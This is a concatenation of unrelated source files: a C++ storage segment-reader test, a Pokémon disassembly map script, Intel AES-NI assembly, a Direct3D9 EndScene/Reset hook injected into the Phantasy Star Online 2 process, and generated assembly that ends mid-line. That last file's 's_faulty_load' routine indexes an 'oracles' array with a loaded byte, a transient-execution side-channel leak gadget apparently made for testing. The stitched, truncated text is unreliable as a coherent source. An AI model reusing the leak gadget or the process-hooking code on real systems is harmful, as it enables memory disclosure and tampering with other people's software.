ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test char zone_map query hit;should read whole page { TCondition condition; condition.__set_column_name("1"); condition.__set_condition_op(">"); std::vector<std::string> vals = {"100"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.conditions = conditions.get(); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); int left = 4 * 1024; int rowid = 0; while (left > 0) { int rows_read = left > 1024 ? 1024 : left; block.clear(); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(DEL_NOT_SATISFIED, block.delete_state()); ASSERT_EQ(rows_read, block.num_rows()); left -= rows_read; for (int j = 0; j < block.schema()->column_ids().size(); ++j) { auto cid = block.schema()->column_ids()[j]; auto column_block = block.column_block(j); for (int i = 0; i < rows_read; ++i) { int rid = rowid + i; ASSERT_FALSE(BitmapTest(column_block.null_bitmap(), i)); const Slice* actual = reinterpret_cast<const Slice*>(column_block.cell_ptr(i)); Slice expect; set_column_value_by_type(tablet_schema->_cols[j]._type, rid * 10 + cid, reinterpret_cast<char*>(&expect), &pool, tablet_schema->_cols[j]._length); ASSERT_EQ(expect.to_string(), actual->to_string()) << "rid:" << rid << ", i:" << i;; } } rowid += rows_read; } ASSERT_EQ(4 * 1024, rowid); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } // test char zone_map query miss;col < -1 { TCondition condition; condition.__set_column_name("1"); condition.__set_condition_op("<"); std::vector<std::string> vals = {"-2"}; condition.__set_condition_values(vals); std::shared_ptr<Conditions> conditions(new Conditions()); conditions->set_tablet_schema(tablet_schema.get()); conditions->append_condition(condition); StorageReadOptions read_opts; read_opts.stats = &stats; read_opts.conditions = conditions.get(); std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_TRUE(st.is_end_of_file()); ASSERT_EQ(0, block.num_rows()); } } FileUtils::remove_all(dname); } TEST_F(SegmentReaderWriterTest, TestBitmapPredicate) { size_t num_rows_per_block = 10; MemTracker tracker; MemPool pool(&tracker); std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 2; tablet_schema->_num_short_key_columns = 1; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2)); tablet_schema->_cols.push_back(create_int_value(3)); tablet_schema->_cols.push_back(create_int_value(4)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; opts.need_bitmap_index = true; std::string fname = dname + "/bitmap_predicate"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 for (int i = 0; i < 4096; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); *(int*)cell.mutable_cell_ptr() = i * 10 + j; } writer.append_row(row); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); { std::shared_ptr<Segment> segment; st = segment->open(fname, 0, tablet_schema.get(), &segment); ASSERT_TRUE(st.ok()); ASSERT_EQ(4096, segment->num_rows()); Schema schema(*tablet_schema); // test where v1=12 { std::vector<ColumnPredicate*> column_predicates; std::unique_ptr<ColumnPredicate> predicate(new EqualPredicate<int32_t>(2, 12)); column_predicates.emplace_back(predicate.get()); StorageReadOptions read_opts; OlapReaderStatistics stats; read_opts.column_predicates = &column_predicates; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(block.num_rows(), 1); ASSERT_EQ(read_opts.stats->raw_rows_read, 1); } // test where v1=12 and v2=13 { std::vector<ColumnPredicate*> column_predicates; std::unique_ptr<ColumnPredicate> predicate(new EqualPredicate<int32_t>(2, 12)); std::unique_ptr<ColumnPredicate> predicate2(new EqualPredicate<int32_t>(3, 13)); column_predicates.emplace_back(predicate.get()); column_predicates.emplace_back(predicate2.get()); StorageReadOptions read_opts; OlapReaderStatistics stats; read_opts.column_predicates = &column_predicates; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_TRUE(st.ok()); ASSERT_EQ(block.num_rows(), 1); ASSERT_EQ(read_opts.stats->raw_rows_read, 1); } // test where v1=12 and v2=15 { std::vector<ColumnPredicate*> column_predicates; std::unique_ptr<ColumnPredicate> predicate(new EqualPredicate<int32_t>(2, 12)); std::unique_ptr<ColumnPredicate> predicate2(new EqualPredicate<int32_t>(3, 15)); column_predicates.emplace_back(predicate.get()); column_predicates.emplace_back(predicate2.get()); StorageReadOptions read_opts; OlapReaderStatistics stats; read_opts.column_predicates = &column_predicates; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_EQ(read_opts.stats->raw_rows_read, 0); ASSERT_FALSE(st.ok()); } // test where v1 in (12,22,1) { std::vector<ColumnPredicate*> column_predicates; std::set<int32_t> values; values.insert(12); values.insert(22); values.insert(1); std::unique_ptr<ColumnPredicate> predicate(new InListPredicate<int32_t>(2, std::move(values))); column_predicates.emplace_back(predicate.get()); StorageReadOptions read_opts; OlapReaderStatistics stats; read_opts.column_predicates = &column_predicates; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); st = iter->next_batch(&block); ASSERT_EQ(read_opts.stats->raw_rows_read, 2); ASSERT_TRUE(st.ok()); } // test where v1 not in (12,22) { std::vector<ColumnPredicate*> column_predicates; std::set<int32_t> values; values.insert(12); values.insert(22); std::unique_ptr<ColumnPredicate> predicate(new NotInListPredicate<int32_t>(2, std::move(values))); column_predicates.emplace_back(predicate.get()); StorageReadOptions read_opts; OlapReaderStatistics stats; read_opts.column_predicates = &column_predicates; read_opts.stats = &stats; std::unique_ptr<RowwiseIterator> iter; segment->new_iterator(schema, read_opts, &iter); RowBlockV2 block(schema, 1024); do { block.clear(); st = iter->next_batch(&block); } while (st.ok()); ASSERT_EQ(read_opts.stats->raw_rows_read, 4094); } } FileUtils::remove_all(dname); } TEST_F(SegmentReaderWriterTest, TestBloomFilterIndexUniqueModel) { size_t num_rows_per_block = 10; std::shared_ptr<TabletSchema> tablet_schema(new TabletSchema()); tablet_schema->_num_columns = 4; tablet_schema->_num_key_columns = 3; tablet_schema->_num_short_key_columns = 2; tablet_schema->_num_rows_per_row_block = num_rows_per_block; tablet_schema->_cols.push_back(create_int_key(1)); tablet_schema->_cols.push_back(create_int_key(2)); tablet_schema->_cols.push_back(create_int_key(3)); tablet_schema->_cols.push_back(create_int_value(4, OLAP_FIELD_AGGREGATION_REPLACE, true, "", true)); // segment write std::string dname = "./ut_dir/segment_test"; FileUtils::create_dir(dname); // for not base segment SegmentWriterOptions opts; opts.num_rows_per_block = num_rows_per_block; std::string fname = dname + "/bf_in_unique_model_not_base"; SegmentWriter writer(fname, 0, tablet_schema.get(), opts); auto st = writer.init(10); ASSERT_TRUE(st.ok()); RowCursor row; auto olap_st = row.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 // // 64k int will generate 4 pages for (int i = 0; i < 64 * 1024; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row.cell(j); cell.set_not_null(); if (i >= 16 * 1024 && i < 32 * 1024) { // make second page all rows equal *(int*)cell.mutable_cell_ptr() = 164000 + j; } else { *(int*)cell.mutable_cell_ptr() = i * 10 + j; } } writer.append_row(row); } uint64_t file_size = 0; uint64_t index_size; st = writer.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); ASSERT_FALSE(writer.has_bf_index(3)); // for base segment // for not base segment SegmentWriterOptions opts2; opts2.num_rows_per_block = num_rows_per_block; opts2.whether_to_filter_value = true; std::string fname2 = dname + "/bf_in_unique_model_base"; SegmentWriter writer2(fname, 0, tablet_schema.get(), opts2); st = writer2.init(10); ASSERT_TRUE(st.ok()); RowCursor row2; olap_st = row2.init(*tablet_schema); ASSERT_EQ(OLAP_SUCCESS, olap_st); // 0, 1, 2, 3 // 10, 11, 12, 13 // 20, 21, 22, 23 // // 64k int will generate 4 pages for (int i = 0; i < 64 * 1024; ++i) { for (int j = 0; j < 4; ++j) { auto cell = row2.cell(j); cell.set_not_null(); if (i >= 16 * 1024 && i < 32 * 1024) { // make second page all rows equal *(int*)cell.mutable_cell_ptr() = 164000 + j; } else { *(int*)cell.mutable_cell_ptr() = i * 10 + j; } } writer2.append_row(row2); } st = writer2.finalize(&file_size, &index_size); ASSERT_TRUE(st.ok()); ASSERT_TRUE(writer2.has_bf_index(3)); } } } int main(int argc, char** argv) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
object_const_def ; object_event constants const LAKEOFRAGEMAGIKARPHOUSE_FISHING_GURU LakeOfRageMagikarpHouse_MapScripts: db 0 ; scene scripts db 0 ; callbacks MagikarpLengthRaterScript: faceplayer opentext checkevent EVENT_LAKE_OF_RAGE_ELIXIR_ON_STANDBY iftrue .GetReward checkevent EVENT_LAKE_OF_RAGE_ASKED_FOR_MAGIKARP iftrue .AskedForMagikarp checkevent EVENT_CLEARED_ROCKET_HIDEOUT iftrue .ClearedRocketHideout checkevent EVENT_LAKE_OF_RAGE_EXPLAINED_WEIRD_MAGIKARP iftrue .ExplainedHistory writetext MagikarpLengthRaterText_LakeOfRageHistory waitbutton closetext setevent EVENT_LAKE_OF_RAGE_EXPLAINED_WEIRD_MAGIKARP end .ExplainedHistory: writetext MagikarpLengthRaterText_MenInBlack waitbutton closetext end .ClearedRocketHideout: writetext MagikarpLengthRaterText_WorldsLargestMagikarp waitbutton closetext setevent EVENT_LAKE_OF_RAGE_ASKED_FOR_MAGIKARP end .AskedForMagikarp: setval MAGIKARP special FindPartyMonThatSpecies iffalse .ClearedRocketHideout writetext MagikarpLengthRaterText_YouHaveAMagikarp waitbutton special CheckMagikarpLength ifequal MAGIKARPLENGTH_NOT_MAGIKARP, .NotMagikarp ifequal MAGIKARPLENGTH_REFUSED, .Refused ifequal MAGIKARPLENGTH_TOO_SHORT, .TooShort ; MAGIKARPLENGTH_BEAT_RECORD sjump .GetReward .GetReward: writetext MagikarpLengthRaterText_Memento buttonsound verbosegiveitem ELIXER iffalse .NoRoom writetext MagikarpLengthRaterText_Bonus waitbutton closetext clearevent EVENT_LAKE_OF_RAGE_ELIXIR_ON_STANDBY end .NoRoom: closetext setevent EVENT_LAKE_OF_RAGE_ELIXIR_ON_STANDBY end .TooShort: writetext MagikarpLengthRaterText_TooShort waitbutton closetext end .NotMagikarp: writetext MagikarpLengthRaterText_NotMagikarp waitbutton closetext end .Refused: writetext MagikarpLengthRaterText_Refused waitbutton closetext end LakeOfRageMagikarpHouseUnusedRecordSign: ; unused jumptext LakeOfRageMagikarpHouseUnusedRecordText MagikarpHouseBookshelf: jumpstd difficultbookshelf MagikarpLengthRaterText_LakeOfRageHistory: text "LAKE OF RAGE is" line "actually a crater" para "made by rampaging" line "GYARADOS." para "The crater filled" line "up with rainwater" para "and the LAKE was" line "formed." para "That's the story" line "passed on from my" para "Grandpa's great-" line "great-grandpa." para "It used to be that" line "you could catch" para "lively MAGIKARP" line "there, but…" para "I don't understand" line "what's happening." done MagikarpLengthRaterText_MenInBlack: text "The LAKE hasn't" line "been normal since" para "those men wearing" line "black arrived." done MagikarpLengthRaterText_WorldsLargestMagikarp: text "LAKE OF RAGE is" line "back to normal." para "The MAGIKARP have" line "returned." para "I may yet realize" line "my dream of see-" cont "ing the world's" cont "largest MAGIKARP." para "Do you have a ROD?" line "Please help me if" cont "you do." done MagikarpLengthRaterText_YouHaveAMagikarp: text "Ah, you have a" line "MAGIKARP! Let's" para "see how big that" line "baby is." done MagikarpLengthRaterText_Memento: text "Wow! This one is" line "outstanding!" para "I tip my hat to" line "you!" para "Take this as a" line "memento!" done MagikarpLengthRaterText_Bonus: text "The record is the" line "important thing." para "Think of that as" line "a bonus!" done MagikarpLengthRaterText_TooShort: text "Wow! This one is" line "outstanding!" para "…I wish I could" line "say that, but I've" para "seen a bigger one" line "before." done MagikarpLengthRaterText_NotMagikarp: text "What? That's not a" line "MAGIKARP!" done MagikarpLengthRaterText_Refused: text "Oh… So you didn't" line "get one good" para "enough to show me?" line "Maybe next time." done LakeOfRageMagikarpHouseUnusedRecordText: text "CURRENT RECORD" para "@" text_ram wStringBuffer3 text " caught by" line "@" text_ram wStringBuffer4 text_end text_end ; unused LakeOfRageMagikarpHouse_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 2, 7, LAKE_OF_RAGE, 2 warp_event 3, 7, LAKE_OF_RAGE, 2 db 0 ; coord events db 2 ; bg events bg_event 0, 1, BGEVENT_READ, MagikarpHouseBookshelf bg_event 1, 1, BGEVENT_READ, MagikarpHouseBookshelf db 1 ; object events object_event 2, 3, SPRITE_FISHING_GURU, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, MagikarpLengthRaterScript, -1
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 u128_str: .byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 increment: .quad 1,0 .p2align 4, 0x90 .globl AuthEncrypt_RIJ128_AES_NI .type AuthEncrypt_RIJ128_AES_NI, @function AuthEncrypt_RIJ128_AES_NI: push %rbx movdqa (%r9), %xmm0 movdqa (16)(%r9), %xmm2 movdqa (32)(%r9), %xmm1 movdqa u128_str(%rip), %xmm7 pshufb %xmm7, %xmm2 pshufb %xmm7, %xmm1 movdqa %xmm1, %xmm3 pandn %xmm2, %xmm3 pand %xmm1, %xmm2 mov %r8d, %r8d movslq %edx, %rdx lea (,%rdx,4), %rdx lea (,%rdx,4), %rdx lea (%rdx,%rcx), %rcx neg %rdx mov %rdx, %rbx .p2align 4, 0x90 .Lblk_loopgas_1: movdqu (%rdi), %xmm4 pxor %xmm4, %xmm0 movdqa %xmm3, %xmm5 paddq increment(%rip), %xmm2 pand %xmm1, %xmm2 por %xmm2, %xmm5 pshufb %xmm7, %xmm5 movdqa (%rdx,%rcx), %xmm6 add $(16), %rdx pxor %xmm6, %xmm5 pxor %xmm6, %xmm0 movdqa (%rdx,%rcx), %xmm6 .p2align 4, 0x90 .Lcipher_loopgas_1: aesenc %xmm6, %xmm5 aesenc %xmm6, %xmm0 movdqa (16)(%rdx,%rcx), %xmm6 add $(16), %rdx jnz .Lcipher_loopgas_1 aesenclast %xmm6, %xmm5 aesenclast %xmm6, %xmm0 pxor %xmm5, %xmm4 movdqu %xmm4, (%rsi) mov %rbx, %rdx add $(16), %rsi add $(16), %rdi sub $(16), %r8 jnz .Lblk_loopgas_1 movdqu %xmm0, (%r9) movdqu %xmm5, (16)(%r9) pxor %xmm6, %xmm6 pop %rbx ret .Lfe1: .size AuthEncrypt_RIJ128_AES_NI, .Lfe1-(AuthEncrypt_RIJ128_AES_NI) .p2align 4, 0x90 .globl DecryptAuth_RIJ128_AES_NI .type DecryptAuth_RIJ128_AES_NI, @function DecryptAuth_RIJ128_AES_NI: push %rbx sub $(16), %rsp movdqa (%r9), %xmm0 movdqa (16)(%r9), %xmm2 movdqa (32)(%r9), %xmm1 movdqa u128_str(%rip), %xmm7 pshufb %xmm7, %xmm2 pshufb %xmm7, %xmm1 movdqa %xmm1, %xmm3 pandn %xmm2, %xmm3 pand %xmm1, %xmm2 mov %r8d, %r8d movslq %edx, %rdx lea (,%rdx,4), %rdx lea (,%rdx,4), %rdx lea (%rdx,%rcx), %rcx neg %rdx mov %rdx, %rbx .p2align 4, 0x90 .Lblk_loopgas_2: movdqu (%rdi), %xmm4 movdqa %xmm3, %xmm5 paddq increment(%rip), %xmm2 pand %xmm1, %xmm2 por %xmm2, %xmm5 pshufb %xmm7, %xmm5 movdqa (%rdx,%rcx), %xmm6 add $(16), %rdx pxor %xmm6, %xmm5 movdqa (%rdx,%rcx), %xmm6 .p2align 4, 0x90 .Lcipher_loopgas_2: aesenc %xmm6, %xmm5 movdqa (16)(%rdx,%rcx), %xmm6 add $(16), %rdx jnz .Lcipher_loopgas_2 aesenclast %xmm6, %xmm5 pxor %xmm5, %xmm4 movdqu %xmm4, (%rsi) mov %rbx, %rdx movdqa (%rdx,%rcx), %xmm6 add $(16), %rdx pxor %xmm4, %xmm0 pxor %xmm6, %xmm0 movdqa (%rdx,%rcx), %xmm6 .p2align 4, 0x90 .Lauth_loopgas_2: aesenc %xmm6, %xmm0 movdqa (16)(%rdx,%rcx), %xmm6 add $(16), %rdx jnz .Lauth_loopgas_2 aesenclast %xmm6, %xmm0 mov %rbx, %rdx add $(16), %rsi add $(16), %rdi sub $(16), %r8 jnz .Lblk_loopgas_2 movdqu %xmm0, (%r9) movdqu %xmm6, (16)(%r9) pxor %xmm6, %xmm6 add $(16), %rsp pop %rbx ret .Lfe2: .size DecryptAuth_RIJ128_AES_NI, .Lfe2-(DecryptAuth_RIJ128_AES_NI)
#pragma once #include "PSO2CameraTool.hpp" #include <detours.h> #include <d3d9.h> #include <D3dx9core.h> #include "Asm.h" #include "imgui/settings_form.h" bool m_bCreated = false; bool wndproc_found = false; D3DVIEWPORT9 viewport; LPD3DXFONT dxFont; HMODULE hmRendDx9Base = NULL; HWND game_hwnd = 0; HMODULE psoBase = 0; typedef HRESULT(__stdcall* tEndScene)(LPDIRECT3DDEVICE9 Device); tEndScene oEndScene; typedef HRESULT(__stdcall* tReset)(LPDIRECT3DDEVICE9 Device, D3DPRESENT_PARAMETERS* pPresentationParameters); tReset oReset; WNDPROC game_wndproc = NULL; extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); static bool MENU_DISPLAYING = false; static LPDIRECT3D9 g_pD3D = NULL; static LPDIRECT3DDEVICE9 g_pd3dDevice = NULL; static D3DPRESENT_PARAMETERS g_d3dpp = {}; uintptr_t cameraFarCullJna; uintptr_t cameraFarCullObjectJe; uintptr_t cameraNearCullAddy; LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam) || (MENU_DISPLAYING)) { if (MENU_DISPLAYING && msg == WM_KEYDOWN && wParam==VK_ESCAPE) { MENU_DISPLAYING = false; } return true; } return CallWindowProc(game_wndproc, hWnd, msg, wParam, lParam); } uintptr_t getTerrainFarCullAddy() { return cameraFarCullJna; } uintptr_t getObjectFarCullAddy() { return cameraFarCullObjectJe; } uintptr_t getCameraNearCullAddy() { return cameraNearCullAddy; } HRESULT __stdcall hkEndScene(LPDIRECT3DDEVICE9 Device) { using namespace Asm; if (Device == nullptr) return oEndScene(Device); if (!m_bCreated) { m_bCreated = true; D3DXCreateFontA(Device, 20, 0, FW_BOLD, 0, 0, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, "Consolas", &dxFont); Device->GetViewport(&viewport); D3DDEVICE_CREATION_PARAMETERS d3dcp; Device->GetCreationParameters(&d3dcp); game_hwnd = d3dcp.hFocusWindow; DWORD farCullScan = AobScan(cameraFarCullAob); if (farCullScan) cameraFarCullJna = farCullScan; DWORD objectCullScan = AobScan(cameraFarCullObjectsAob); if (objectCullScan) { cameraFarCullObjectJe = objectCullScan; cameraFarCullObjectJe += 0x7; } DWORD nearCullScan = AobScan(cameraNearCullAob); if (nearCullScan) cameraNearCullAddy = nearCullScan; } if (!wndproc_found) { HWND wnd = FindWindowA("Phantasy Star Online 2", NULL); if (wnd) { game_wndproc = reinterpret_cast<WNDPROC>(SetWindowLongPtr(wnd, GWLP_WNDPROC, (LONG_PTR)WndProc)); menu_init(game_hwnd, Device); wndproc_found = true; } } if ((GetAsyncKeyState(VK_INSERT) & 1)) { MENU_DISPLAYING = !MENU_DISPLAYING; } if (MENU_DISPLAYING ) { draw_menu(&MENU_DISPLAYING); } return oEndScene(Device); } HRESULT APIENTRY hkReset(IDirect3DDevice9* pDevice, D3DPRESENT_PARAMETERS* pPresentationParameters) { if (dxFont) dxFont->OnLostDevice(); HRESULT result = oReset(pDevice, pPresentationParameters); if (SUCCEEDED(result)) { if (dxFont) dxFont->OnResetDevice(); m_bCreated = false; ImGui_ImplDX9_InvalidateDeviceObjects(); pDevice->GetViewport(&viewport); ImGui_ImplDX9_CreateDeviceObjects(); } return result; } DWORD_PTR* pVTable; HWND tmpWnd; bool CreateDeviceD3D(HWND hWnd) { tmpWnd = CreateWindowA("BUTTON", "DX", WS_SYSMENU | WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 300, 300, NULL, NULL, GetModuleHandle(NULL), NULL); if ((g_pD3D = Direct3DCreate9(D3D_SDK_VERSION)) == NULL) return false; // Create the D3DDevice ZeroMemory(&g_d3dpp, sizeof(g_d3dpp)); g_d3dpp.Windowed = TRUE; g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN; g_d3dpp.hDeviceWindow = tmpWnd; g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE; // Present without vsync, maximum unthrottled framerate if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &g_pd3dDevice) < 0) return false; pVTable = (DWORD_PTR*)g_pd3dDevice; pVTable = (DWORD_PTR*)pVTable[0]; return true; } DWORD WINAPI HookThread() { CreateDeviceD3D(game_hwnd); if (!pVTable) return false; oEndScene = (tEndScene)pVTable[42]; oReset = (tReset)pVTable[16]; DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(LPVOID&)oEndScene, (PBYTE)hkEndScene); DetourAttach(&(LPVOID&)oReset, (PBYTE)hkReset); DetourTransactionCommit(); g_pD3D->Release(); g_pd3dDevice->Release(); DestroyWindow(tmpWnd); return 0; } int Initialize() { /*while (hmRendDx9Base == NULL) { Sleep(200); hmRendDx9Base = GetModuleHandleA("d3d9.dll"); } while (game_hwnd == NULL) { Sleep(200); game_hwnd = FindWindowA("Phantasy Star Online 2", NULL); } Sleep(1000); //idk it just be like this */ HookThread(); return 1; }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0xc867, %rax nop nop nop nop nop dec %r11 mov $0x6162636465666768, %r9 movq %r9, %xmm6 and $0xffffffffffffffc0, %rax vmovaps %ymm6, (%rax) nop nop and $12395, %r11 lea addresses_normal_ht+0x1a8c7, %rsi lea addresses_A_ht+0x8387, %rdi nop and $14306, %r8 mov $31, %rcx rep movsl nop and $35058, %rax lea addresses_normal_ht+0x1b5c9, %rsi nop nop nop nop nop and $8556, %r8 mov $0x6162636465666768, %r11 movq %r11, (%rsi) nop nop nop xor %rdi, %rdi lea addresses_A_ht+0xad87, %rcx nop nop nop nop nop add $62692, %r8 mov (%rcx), %eax nop and $8414, %r8 lea addresses_WT_ht+0xbd21, %r8 nop add $15971, %r11 movb (%r8), %r9b nop nop nop nop nop xor $64162, %r9 lea addresses_WC_ht+0x11647, %rdi nop nop nop nop nop add $12133, %rax vmovups (%rdi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %r11 nop nop nop xor $3041, %r9 lea addresses_WT_ht+0x4d87, %r9 nop nop dec %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm0 movups %xmm0, (%r9) nop and %rsi, %rsi lea addresses_A_ht+0x16b87, %rdi nop nop nop nop nop inc %rcx mov (%rdi), %r11w nop add %r8, %r8 lea addresses_normal_ht+0x1665b, %rsi lea addresses_D_ht+0xc687, %rdi nop nop nop sub $57001, %r14 mov $33, %rcx rep movsb nop nop nop nop cmp %r8, %r8 lea addresses_normal_ht+0x16817, %rsi lea addresses_D_ht+0x152d9, %rdi nop nop nop nop nop cmp $56322, %r14 mov $60, %rcx rep movsb nop nop nop nop nop add %rcx, %rcx lea addresses_normal_ht+0x151db, %r8 cmp %rax, %rax movw $0x6162, (%r8) nop nop xor $195, %r14 lea addresses_WC_ht+0x5187, %rax nop nop add $18500, %r11 movb $0x61, (%rax) nop nop nop inc %rdi lea addresses_A_ht+0xc6d7, %rsi nop nop nop dec %rcx and $0xffffffffffffffc0, %rsi movntdqa (%rsi), %xmm1 vpextrq $0, %xmm1, %r14 nop nop nop nop nop inc %r11 lea addresses_D_ht+0x13e5f, %rsi lea addresses_WT_ht+0x14c87, %rdi nop nop xor $6141, %r14 mov $30, %rcx rep movsq nop nop nop nop cmp %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %r9 push %rdi // Store mov $0x2627ff0000000787, %r11 nop nop nop and $17057, %rdi movb $0x51, (%r11) nop nop nop nop nop xor $21084, %rdi // Faulty Load lea addresses_WC+0x3787, %rdi add $31183, %r11 mov (%rdi), %r12w lea oracles, %r15 and $0xff, %r12 shlq $12, %r12 mov (%r15,%r12,1), %r12 pop %rdi pop %r9 pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 